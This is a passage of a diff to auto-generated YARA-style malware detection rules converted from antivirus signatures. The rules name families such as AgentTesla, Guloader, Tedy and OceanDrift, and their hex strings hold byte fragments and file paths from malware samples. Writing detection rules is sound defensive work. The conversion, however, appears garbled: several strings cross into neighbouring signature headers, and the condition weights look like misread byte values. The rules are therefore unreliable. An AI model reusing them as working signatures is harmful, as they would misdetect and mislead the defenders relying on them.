1)*26964+(#a_62_9 & 1)*9587) >=10 } -rule _InfrastructureShared_17907{ +rule _InfrastructureShared_19064{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -215270,7 +229401,7 @@ rule _InfrastructureShared_17907{ ((#a_54_0 & 1)*18467+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1+(#a_81_8 & 1)*1+(#a_44_9 & 1)*0) >=10 } -rule _InfrastructureShared_17908{ +rule _InfrastructureShared_19065{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -215287,7 +229418,7 @@ rule _InfrastructureShared_17908{ ((#a_54_0 & 1)*18467+(#a_5c_1 & 1)*29281+(#a_73_2 & 1)*25710+(#a_01_3 & 1)*2816+(#a_37_4 & 1)*12387+(#a_67_6 & 1)*385+(#a_75_7 & 1)*26994+(#a_00_9 & 1)*98) >=10 } -rule _InfrastructureShared_17909{ +rule _InfrastructureShared_19066{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1c 00 1c 00 0b 00 21 " @@ -215306,7 +229437,7 @@ rule _InfrastructureShared_17909{ ((#a_46_0 & 1)*16675+(#a_36_1 & 1)*14690+(#a_64_2 & 1)*25715+(#a_6c_3 & 1)*30578+(#a_00_4 & 1)*29793+(#a_00_6 & 1)*32+(#a_00_7 & 1)*98+(#a_00_8 & 1)*116+(#a_15_9 & 1)*257+(#a_31_10 & 1)*16969) >=28 } -rule _InfrastructureShared_17910{ +rule _InfrastructureShared_19067{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -215317,7 +229448,7 @@ rule _InfrastructureShared_17910{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*116) >=1 } -rule _InfrastructureShared_17911{ +rule _InfrastructureShared_19068{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -215328,7 +229459,7 @@ rule _InfrastructureShared_17911{ ((#a_46_0 & 1)*16675+(#a_15_1 & 1)*13418) >=2 } -rule _InfrastructureShared_17912{ +rule _InfrastructureShared_19069{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -215339,7 +229470,7 @@ rule _InfrastructureShared_17912{ ((#a_46_0 & 1)*16675+(#a_5b_1 & 1)*11401) >=2 } -rule _InfrastructureShared_17913{ +rule _InfrastructureShared_19070{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -215351,7 +229482,7 @@ rule _InfrastructureShared_17913{ ((#a_46_0 & 1)*16675+(#a_5f_1 & 1)*13166+(#a_00_2 & 1)*115) >=2 } -rule _InfrastructureShared_17914{ +rule _InfrastructureShared_19071{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " @@ -215364,7 +229495,7 @@ rule _InfrastructureShared_17914{ ((#a_46_0 & 1)*16675+(#a_02_1 & 1)*-28550+(#a_2d_2 & 1)*23085+(#a_01_3 & 1)*-28672) >=2 } -rule _InfrastructureShared_17915{ +rule _InfrastructureShared_19072{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -215375,18 +229506,7 @@ rule _InfrastructureShared_17915{ ((#a_54_0 & 1)*18467+(#a_24_2 & 1)*-29880) >=3 } -rule _InfrastructureShared_17916{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 36 34 2f 54 65 64 79 2e 4e 49 54 41 21 4d 54 42 00 02 00 88 01 33 d2 ff 15 70 e5 1d 00 48 8b f8 48 85 c0 74 14 8b d5 48 8b c8 ff 15 8d e5 1d 00 48 8b cf ff 15 24 e5 1d } //16675 - $a_7b_1 = {07 4c 8b c3 76 03 4c 8b 03 48 8d 15 78 7b 23 00 48 8d 8c 24 f0 02 00 00 e8 b3 f0 ff ff 48 8d 84 24 f0 02 00 00 c7 44 24 30 70 00 00 00 48 8d 4c 24 30 48 89 44 24 50 c7 44 24 34 40 00 00 00 4c 89 74 24 38 4c 89 7c 24 40 4c 89 64 24 48 4c 89 74 24 58 44 89 74 24 60 ff 15 0a e6 1d 00 85 c0 02 00 82 01 4c 8d 3d 3f 7c 23 00 4c 8d 25 78 7c 23 00 33 d2 b9 02 00 00 00 41 8b f6 ff 15 f8 e5 1d 00 48 } //18432 - condition: - ((#a_46_0 & 1)*16675+(#a_7b_1 & 1)*18432) >=4 - -} -rule _InfrastructureShared_17917{ +rule _InfrastructureShared_19073{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -215396,7 +229516,7 @@ rule _InfrastructureShared_17917{ ((#a_54_0 & 1)*18467) >=4 } -rule _InfrastructureShared_17918{ +rule _InfrastructureShared_19074{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -215409,7 +229529,7 @@ rule _InfrastructureShared_17918{ ((#a_54_0 & 1)*18467+(#a_8e_1 & 1)*28165+(#a_20_2 & 1)*-27387+(#a_ff_3 & 1)*22677) >=4 } -rule _InfrastructureShared_17919{ +rule _InfrastructureShared_19075{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 07 00 21 " @@ -215423,7 +229543,7 @@ rule _InfrastructureShared_17919{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*100+(#a_00_3 & 1)*49+(#a_00_4 & 1)*62+(#a_00_6 & 1)*32) >=4 } -rule _InfrastructureShared_17920{ +rule _InfrastructureShared_19076{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -215437,7 +229557,7 @@ rule _InfrastructureShared_17920{ ((#a_54_0 & 1)*18467+(#a_d2_1 & 1)*3+(#a_16_2 & 1)*4356+(#a_05_3 & 1)*1299+(#a_65_4 & 1)*26962) >=5 } -rule _InfrastructureShared_17921{ +rule _InfrastructureShared_19077{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 05 00 21 " @@ -215451,7 +229571,7 @@ rule _InfrastructureShared_17921{ ((#a_46_0 & 1)*16675+(#a_66_1 & 1)*257+(#a_01_2 & 1)*-18673+(#a_e8_3 & 1)*747+(#a_62_4 & 1)*28718) >=9 } -rule _InfrastructureShared_17922{ +rule _InfrastructureShared_19078{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -215459,18 +229579,37 @@ rule _InfrastructureShared_17922{ $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 50 48 21 4d 53 52 00 01 00 24 80 01 33 39 65 37 36 61 62 64 2d 36 63 34 38 2d 34 62 35 33 2d 62 39 64 66 2d 31 39 33 30 64 37 62 66 36 38 63 30 01 00 1b 80 01 } //16675 $a_74_1 = {63 41 72 72 61 79 49 6e 69 74 54 79 70 65 53 69 7a 65 2e 65 78 65 01 00 1b 80 01 53 74 61 74 69 63 41 72 72 61 79 49 6e 69 74 54 79 70 65 53 69 7a 65 2e 70 64 62 01 00 0b 80 01 4d 74 47 6f 78 54 72 61 64 65 72 01 00 13 80 01 4d 74 47 6f 78 53 6f 63 6b 65 74 49 4f 43 6c 69 65 6e 74 01 00 12 } //29779 $a_74_2 = {6f 78 57 61 6c 6c 65 74 42 61 6c 61 6e 63 65 01 00 14 80 01 30 2f 64 61 74 61 2f 67 65 74 54 72 61 64 65 73 2e 70 68 70 01 00 10 80 01 4d 74 47 6f 78 20 41 50 49 20 53 65 63 72 65 74 01 00 1e 80 01 4d 74 47 6f 78 54 72 61 64 65 72 } //384 - $a_6e_3 = {69 67 75 72 65 2e 72 65 73 6f 75 72 63 65 01 00 1b 80 01 4d 74 47 6f 78 54 72 61 64 65 72 2e 46 6f 72 6d 31 2e 72 65 73 6f 75 72 63 65 73 00 00 78 45 01 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 49 49 4b 31 32 33 21 4d 54 42 00 01 00 22 81 01 5c 53 74 6f 72 6d 61 6e 67 72 65 62 65 6e } //17198 - $a_37_4 = {53 74 72 6f 6e 74 69 74 69 63 5c 63 6f 6c 64 01 00 1d 81 01 53 6f 66 74 77 61 72 65 5c 66 6f 72 65 64 72 61 67 73 66 6f 72 65 6e 69 6e 67 65 6e 73 01 } //12645 - $a_01_5 = {68 61 6d 6d 6f 6e 64 6f 72 67 6c 65 72 6e 65 73 01 00 0e 81 01 4f 70 74 61 67 6e 69 6e 67 65 6e 73 39 39 01 00 13 81 01 5c 62 69 64 72 61 67 73 73 74 72 72 65 6c 73 65 72 6e 65 01 00 0e 81 01 53 6f 66 74 77 61 72 65 5c 73 70 61 64 65 01 00 14 81 01 53 6f 66 74 77 61 72 65 5c 6b 6f 64 69 66 69 63 65 78 72 5c 01 00 41 81 01 53 6f 66 74 77 61 72 65 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 } //4096 - $a_77_6 = {5c 6d 65 67 61 63 69 74 79 5c 55 6e 69 6e 73 74 61 6c 6c 5c 74 72 65 64 76 65 61 61 72 73 66 64 73 65 6c 64 61 67 65 01 00 07 81 01 64 6f 76 65 6b 65 79 01 00 0f 81 01 52 6f 41 4b 6c 6c 4e 61 6c 4f 76 6f 43 79 63 00 00 78 45 01 00 0b 00 0b 00 0b 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 } //25710 - $a_4b_7 = {33 36 21 4d 54 42 00 01 00 0d 81 01 6d 61 72 74 79 72 65 72 73 2e 65 78 65 01 00 15 81 01 66 65 6a 6c 73 74 61 74 69 73 74 69 6b 6b 65 6e 73 2e 69 6e 64 01 00 0e 81 01 6b 75 6d 65 6e 69 6b 6b 65 6e 2e 74 78 74 01 00 0d 81 01 6d 65 } //21294 - $a_69_8 = {65 73 2e 74 75 6d 01 00 0d 81 01 6e 6f 74 61 72 69 73 65 73 2e 70 69 74 01 00 18 81 01 53 6f 66 74 77 61 72 65 5c 73 6f 76 6a 65 74 62 6f 72 67 65 72 65 6e 73 01 00 16 81 01 53 6f 66 74 77 61 72 65 5c 64 69 73 6f 62 65 64 69 65 6e 74 6c 79 01 00 15 81 01 53 6f 66 74 77 61 72 65 5c 66 6f 72 70 75 72 72 65 6e 64 65 73 01 00 1c } //24940 - $a_6d_9 = {73 69 6b 75 64 64 61 6e 6e 65 6c 73 65 5c 46 6c 61 70 72 65 73 2e 73 75 67 01 00 17 81 01 5c 46 6f 72 73 76 69 72 65 64 65 73 5c 73 61 77 6e 69 65 2e 73 69 72 01 00 1e 81 01 5c 64 65 61 6b 74 69 76 65 72 69 6e 67 65 72 6e 65 73 5c 69 72 6f 6e 69 73 74 2e 6c 6e 6b 00 00 78 45 } //385 + $a_6e_3 = {69 67 75 72 65 2e 72 65 73 6f 75 72 63 65 01 00 1b 80 01 4d 74 47 6f 78 54 72 61 64 65 72 2e 46 6f 72 6d 31 2e 72 65 73 6f 75 72 63 65 73 00 00 78 45 01 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 54 45 21 4d 54 42 00 01 00 1c 81 01 5c 62 72 75 67 65 72 76 65 6e 6c } //17198 + $a_5c_4 = {6f 72 6e 65 6c 69 75 73 2e 69 6e 69 01 00 17 81 01 5c 61 66 62 6c 61 64 65 64 65 73 5c 63 6f 6d 70 65 74 65 2e 6a 70 67 01 00 14 81 01 5c 4f 70 6d 61 65 72 6b 73 6f 6d 68 65 64 65 6e 2e 67 69 66 01 00 14 81 01 5c 74 6f 72 64 65 6e 65 72 6e 65 73 5c 61 65 67 2e 68 74 6d 01 00 15 81 01 53 70 64 62 61 72 6e 73 70 6c 65 6a 65 72 65 6e 73 2e 6d 65 74 } //26473 + $a_81_5 = {73 61 6c 76 61 74 69 6f 6e 69 73 74 2e 68 61 6c } //1 salvationist.hal + $a_81_6 = {74 72 72 65 73 74 61 74 69 76 65 72 2e 74 78 74 } //1 trrestativer.txt + $a_81_7 = {5c 6c 61 6e 67 74 72 75 6b 6e 65 73 5c 6d 69 6c 69 65 75 6b 76 61 6c 69 74 65 74 73 70 6c 61 6e 6c 67 6e 69 6e 67 65 6e 2e 62 69 6e } //1 \langtruknes\milieukvalitetsplanlgningen.bin + $a_81_8 = {6c 65 74 76 67 74 73 63 79 6b 6c 65 72 6e 65 73 5c 6a 61 69 6d 69 65 } //1 letvgtscyklernes\jaimie + $a_81_9 = {5c 44 65 6d 61 72 6b 61 74 69 6f 6e 73 6c 69 6e 6a 65 73 } //1 \Demarkationslinjes condition: - ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*29779+(#a_74_2 & 1)*384+(#a_6e_3 & 1)*17198+(#a_37_4 & 1)*12645+(#a_01_5 & 1)*4096+(#a_77_6 & 1)*25710+(#a_4b_7 & 1)*21294+(#a_69_8 & 1)*24940+(#a_6d_9 & 1)*385) >=10 + ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*29779+(#a_74_2 & 1)*384+(#a_6e_3 & 1)*17198+(#a_5c_4 & 1)*26473+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1+(#a_81_8 & 1)*1+(#a_81_9 & 1)*1) >=10 } -rule _InfrastructureShared_17923{ +rule _InfrastructureShared_19079{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 54 45 21 4d 54 42 00 01 00 1c 81 01 5c 62 72 75 67 65 72 76 65 6e 6c 69 67 74 5c 6b 6f 72 6e 65 6c 69 75 73 2e 69 6e 69 01 00 17 81 01 5c 61 66 62 6c 61 64 65 64 65 73 5c 63 6f } //18467 + $a_74_1 = {2e 6a 70 67 01 00 14 81 01 5c 4f 70 6d 61 65 72 6b 73 6f 6d 68 65 64 65 6e 2e 67 69 66 01 00 14 81 01 5c 74 6f 72 64 65 6e 65 72 6e 65 73 5c 61 65 67 2e 68 74 6d 01 00 15 81 01 53 70 64 62 61 72 6e 73 70 6c 65 6a 65 72 65 6e 73 2e 6d 65 74 01 00 10 81 01 73 61 6c 76 61 74 69 6f 6e 69 73 74 2e 68 61 6c } //28781 + $a_81_2 = {74 72 72 65 73 74 61 74 69 76 65 72 2e 74 78 74 } //1 trrestativer.txt + $a_81_3 = {5c 6c 61 6e 67 74 72 75 6b 6e 65 73 5c 6d 69 6c 69 65 75 6b 76 61 6c 69 74 65 74 73 70 6c 61 6e 6c 67 6e 69 6e 67 65 6e 2e 62 69 6e } //1 \langtruknes\milieukvalitetsplanlgningen.bin + $a_81_4 = {6c 65 74 76 67 74 73 63 79 6b 6c 65 72 6e 65 73 5c 6a 61 69 6d 69 65 } //1 letvgtscyklernes\jaimie + $a_81_5 = {5c 44 65 6d 61 72 6b 61 74 69 6f 6e 73 6c 69 6e 6a 65 73 } //1 \Demarkationslinjes + $a_45_6 = {00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 49 49 4b 31 32 33 21 4d 54 42 00 01 00 22 81 01 5c 53 74 6f 72 6d 61 6e 67 72 65 62 65 6e 65 31 32 37 5c 53 74 72 6f 6e 74 69 74 69 63 5c 63 6f 6c 64 01 00 1d 81 01 53 6f 66 74 77 61 72 65 5c 66 6f 72 65 64 72 61 67 73 66 6f 72 65 6e 69 6e 67 65 6e 73 01 00 10 81 01 68 } //0 + $a_6f_7 = {64 6f 72 67 6c 65 72 6e 65 73 01 00 0e 81 01 4f 70 74 61 67 6e 69 6e 67 65 6e 73 39 39 01 00 13 81 01 5c 62 69 64 72 61 67 73 73 74 72 72 65 6c 73 65 72 6e 65 01 00 0e 81 01 53 6f 66 74 77 61 72 65 5c 73 70 61 64 65 01 00 14 81 01 53 6f 66 74 77 61 72 65 5c 6b 6f 64 69 66 69 63 65 78 72 5c 01 00 41 81 01 53 6f 66 74 77 61 72 } //28001 + $a_69_8 = {72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 6d 65 67 61 63 69 74 79 5c 55 6e 69 6e 73 74 61 6c 6c 5c 74 72 65 64 76 65 61 61 72 73 66 64 73 65 6c 64 61 67 65 01 00 07 81 01 64 6f 76 65 6b 65 79 01 00 0f 81 01 52 6f 41 4b 6c 6c 4e } //23653 + $a_76_9 = {43 79 63 00 00 78 45 01 00 0b 00 0b 00 0b 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 53 4d 4b 46 33 36 21 4d 54 42 00 01 00 0d 81 01 6d 61 72 74 79 72 65 72 73 2e 65 78 65 01 00 15 81 01 66 } //27745 + condition: + ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*28781+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_45_6 & 1)*0+(#a_6f_7 & 1)*28001+(#a_69_8 & 1)*23653+(#a_76_9 & 1)*27745) >=10 + +} +rule _InfrastructureShared_19080{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -215488,7 +229627,7 @@ rule _InfrastructureShared_17923{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*25970+(#a_66_2 & 1)*21249+(#a_6f_3 & 1)*20332+(#a_01_4 & 1)*3328+(#a_73_5 & 1)*25966+(#a_54_6 & 1)*28261+(#a_00_7 & 1)*48+(#a_00_9 & 1)*50) >=10 } -rule _InfrastructureShared_17924{ +rule _InfrastructureShared_19081{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -215506,7 +229645,7 @@ rule _InfrastructureShared_17924{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*30059+(#a_72_2 & 1)*30580+(#a_6f_3 & 1)*26972+(#a_00_5 & 1)*55+(#a_00_7 & 1)*48+(#a_33_8 & 1)*6912+(#a_00_9 & 1)*48+(#a_5f_10 & 1)*24415) >=11 } -rule _InfrastructureShared_17925{ +rule _InfrastructureShared_19082{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 09 00 21 " @@ -215521,7 +229660,7 @@ rule _InfrastructureShared_17925{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*67+(#a_00_3 & 1)*51+(#a_00_4 & 1)*51+(#a_00_7 & 1)*66+(#a_00_8 & 1)*18040) >=18 } -rule _InfrastructureShared_17926{ +rule _InfrastructureShared_19083{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 08 00 21 " @@ -215537,7 +229676,7 @@ rule _InfrastructureShared_17926{ ((#a_46_0 & 1)*16675+(#a_76_1 & 1)*23+(#a_01_2 & 1)*17291+(#a_6c_3 & 1)*8519+(#a_01_4 & 1)*-28528+(#a_03_6 & 1)*1+(#a_03_7 & 1)*1) >=1 } -rule _InfrastructureShared_17927{ +rule _InfrastructureShared_19084{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 08 00 21 " @@ -215547,12 +229686,31 @@ rule _InfrastructureShared_17927{ $a_48_3 = {90 90 5f 01 00 90 02 10 d9 5c 90 02 10 ff 15 90 02 10 50 ff 15 90 02 10 68 18 01 00 00 90 02 10 6a 00 51 e8 90 00 01 00 1e 03 68 05 01 00 00 6a 00 90 02 10 52 e8 90 02 10 68 90 90 5f 01 00 ff 15 90 02 10 dd 05 90 00 01 00 1c 03 68 05 01 00 00 90 02 10 6a 00 50 e8 90 02 10 dd 05 90 02 14 68 90 90 5f 01 00 90 00 01 00 24 03 83 c4 24 68 90 90 5f 01 00 90 02 10 d9 05 90 02 10 dc 25 90 02 10 f2 0f 90 02 10 f2 0f 90 02 10 ff 15 90 00 01 00 27 03 83 c4 08 68 90 90 5f 01 00 ff 15 90 02 14 dd 05 90 02 10 dd 1d 90 02 10 dc 05 90 02 10 dd 05 90 02 10 f6 c4 44 90 00 01 00 17 03 83 c4 08 68 90 } //-31997 $a_00_4 = {ff } //24464 $a_14_5 = {05 90 } //-28651 - $a_05_6 = {90 00 00 00 78 46 01 00 02 00 02 00 09 00 21 23 48 53 54 52 3a 57 65 74 69 6d 6f 6e 69 74 2e 41 00 01 00 23 01 36 31 36 35 34 35 33 35 33 32 32 37 33 42 32 36 37 34 37 32 37 35 32 31 33 32 32 37 33 37 32 36 31 41 31 01 00 23 01 32 37 35 32 35 33 32 32 37 33 37 32 36 37 34 37 32 37 35 32 35 33 32 32 37 33 37 32 36 37 34 37 32 37 35 01 00 23 01 32 36 32 37 32 42 34 36 30 46 36 33 37 34 35 43 31 34 31 30 31 46 33 34 31 30 35 36 35 45 30 44 30 41 31 01 00 20 01 33 33 33 33 31 37 32 42 32 37 32 33 32 33 33 39 32 36 32 45 32 45 32 43 32 32 32 32 32 41 32 35 01 00 20 01 32 45 32 45 32 38 32 32 32 32 32 41 32 35 30 30 32 34 32 37 33 42 32 37 32 33 35 41 31 45 31 } //5122 + $a_05_6 = {90 00 00 00 78 46 01 00 01 00 01 00 09 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4f 63 65 61 6e 44 72 69 66 74 2e 41 21 64 68 61 00 01 00 29 01 6f 66 66 6c 69 6e 65 5f 61 63 63 65 73 73 20 46 69 6c 65 73 2e 52 65 61 64 20 46 69 6c 65 73 2e 52 65 61 64 57 72 69 74 65 01 00 24 01 36 37 35 62 35 32 38 30 2d 62 32 33 33 2d 34 33 36 38 2d 62 61 39 65 2d 62 34 63 35 35 63 62 65 65 62 65 39 01 00 24 01 65 32 61 61 38 64 32 34 2d 38 35 61 32 2d 34 31 65 36 2d 62 39 39 33 2d 35 37 32 62 33 35 39 38 30 35 35 37 01 00 0e 01 43 32 4f 76 65 72 4f 6e 65 44 72 69 76 65 01 00 0d 01 5c 31 2d 43 6f 64 65 66 69 65 6c 64 5c 01 00 23 01 41 74 74 65 6d 70 74 } //5122 + $a_20_7 = {6f 20 6f 70 65 6e 20 63 6f 6e 66 69 67 20 66 69 6c 65 20 61 74 3a 20 01 00 15 01 68 65 61 72 74 62 65 61 74 20 3c 6d 69 6e 3e 20 3c 6d 61 78 3e 01 00 18 01 5c 62 65 61 63 6f 6e 5f 73 68 65 6c 6c 5f 6f 75 74 70 75 74 2e 74 78 74 01 00 1a 01 5c 74 65 73 74 5f 77 72 69 74 65 5f 70 65 72 6d 69 73 73 69 6f 6e 2e } //28265 condition: - ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*144+(#a_48_3 & 1)*-31997+(#a_00_4 & 1)*24464+(#a_14_5 & 1)*-28651+(#a_05_6 & 1)*5122) >=1 + ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*144+(#a_48_3 & 1)*-31997+(#a_00_4 & 1)*24464+(#a_14_5 & 1)*-28651+(#a_05_6 & 1)*5122+(#a_20_7 & 1)*28265) >=1 } -rule _InfrastructureShared_17928{ +rule _InfrastructureShared_19085{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 09 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4f 63 65 61 6e 44 72 69 66 74 2e 41 21 64 68 61 00 01 00 29 01 6f 66 66 6c 69 6e 65 5f 61 63 63 65 73 73 20 46 69 6c 65 73 2e 52 65 61 64 20 46 69 6c 65 73 2e 52 65 61 64 57 72 69 74 65 01 } //16675 + $a_36_1 = {35 } //9216 5 + $a_38_2 = {2d 62 32 33 33 2d 34 33 36 38 2d 62 61 39 65 2d 62 34 63 35 35 63 62 65 65 62 65 39 01 00 24 01 65 32 61 61 38 64 32 34 2d 38 35 61 32 2d 34 31 65 36 } //13666 + $a_39_3 = {2d 35 37 32 62 33 35 39 38 30 35 35 37 01 00 0e 01 43 32 4f 76 65 72 4f 6e 65 44 72 69 76 65 01 00 0d 01 5c 31 2d 43 6f 64 65 66 69 65 6c 64 5c 01 00 23 01 41 74 74 65 6d } //25133 + $a_6e_4 = {20 74 6f 20 6f 70 65 6e 20 63 6f 6e 66 69 67 20 66 69 6c 65 20 61 74 3a 20 01 00 15 01 68 65 61 72 74 62 65 61 74 20 3c 6d 69 6e 3e 20 3c 6d 61 78 3e 01 00 18 01 5c 62 65 61 63 6f 6e 5f 73 68 65 6c 6c 5f 6f 75 74 70 75 74 2e 74 78 74 01 00 1a 01 5c 74 65 73 74 5f 77 72 69 74 65 5f 70 65 72 6d 69 73 73 69 6f 6e 2e } //29808 + $a_00_5 = {00 78 46 01 00 02 00 02 00 09 00 21 23 48 53 54 52 3a 57 65 74 69 6d 6f 6e 69 74 2e 41 00 01 00 23 01 36 31 36 35 34 35 33 35 33 32 32 37 33 42 32 36 37 34 37 32 37 35 32 31 33 32 32 37 33 37 32 36 31 41 31 01 00 23 01 32 37 35 32 35 33 32 32 37 33 37 32 36 37 34 37 32 37 35 32 35 33 32 32 37 33 37 32 36 37 34 37 32 37 35 01 00 23 01 } //28020 + $a_37_6 = {42 34 36 30 46 36 33 37 34 35 43 31 34 31 30 31 46 33 34 31 30 35 36 35 45 30 44 30 41 31 01 00 20 01 33 33 33 33 31 37 32 42 32 37 32 33 32 33 33 39 } //13874 + $a_45_7 = {45 32 43 32 32 32 32 32 41 32 35 01 00 20 01 32 45 32 45 32 38 32 32 32 32 32 41 32 35 30 30 32 34 32 37 33 42 32 37 32 33 35 41 31 45 31 32 01 00 20 } //13874 + $a_32_8 = {32 46 33 39 32 32 32 45 32 45 32 38 32 36 32 32 32 41 32 35 32 36 32 34 32 37 33 42 01 00 20 01 39 33 42 32 42 42 38 35 38 36 39 30 41 42 38 46 39 30 38 36 32 36 33 } //12801 + condition: + ((#a_46_0 & 1)*16675+(#a_36_1 & 1)*9216+(#a_38_2 & 1)*13666+(#a_39_3 & 1)*25133+(#a_6e_4 & 1)*29808+(#a_00_5 & 1)*28020+(#a_37_6 & 1)*13874+(#a_45_7 & 1)*13874+(#a_32_8 & 1)*12801) >=1 + +} +rule _InfrastructureShared_19086{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 09 00 21 " @@ -215570,7 +229728,7 @@ rule _InfrastructureShared_17928{ ((#a_54_0 & 1)*18467+(#a_34_1 & 1)*13874+(#a_32_2 & 1)*12855+(#a_01_3 & 1)*12613+(#a_38_4 & 1)*16688+(#a_4c_5 & 1)*8993+(#a_61_6 & 1)*29559+(#a_63_7 & 1)*25647+(#a_6b_8 & 1)*8292) >=2 } -rule _InfrastructureShared_17929{ +rule _InfrastructureShared_19087{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -215582,7 +229740,7 @@ rule _InfrastructureShared_17929{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*29793+(#a_67_2 & 1)*29185) >=3 } -rule _InfrastructureShared_17930{ +rule _InfrastructureShared_19088{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -215594,7 +229752,7 @@ rule _InfrastructureShared_17930{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*3465+(#a_3d_2 & 1)*-469) >=3 } -rule _InfrastructureShared_17931{ +rule _InfrastructureShared_19089{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -215606,7 +229764,7 @@ rule _InfrastructureShared_17931{ ((#a_54_0 & 1)*18467+(#a_2c_1 & 1)*-5519+(#a_bb_2 & 1)*400) >=3 } -rule _InfrastructureShared_17932{ +rule _InfrastructureShared_19090{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " @@ -215620,7 +229778,7 @@ rule _InfrastructureShared_17932{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*92+(#a_6d_2 & 1)*17268+(#a_00_3 & 1)*-5374+(#a_1b_4 & 1)*-1023) >=3 } -rule _InfrastructureShared_17933{ +rule _InfrastructureShared_19091{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -215633,7 +229791,7 @@ rule _InfrastructureShared_17933{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*100+(#a_01_2 & 1)*-28672+(#a_2d_3 & 1)*23085) >=4 } -rule _InfrastructureShared_17934{ +rule _InfrastructureShared_19092{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -215645,7 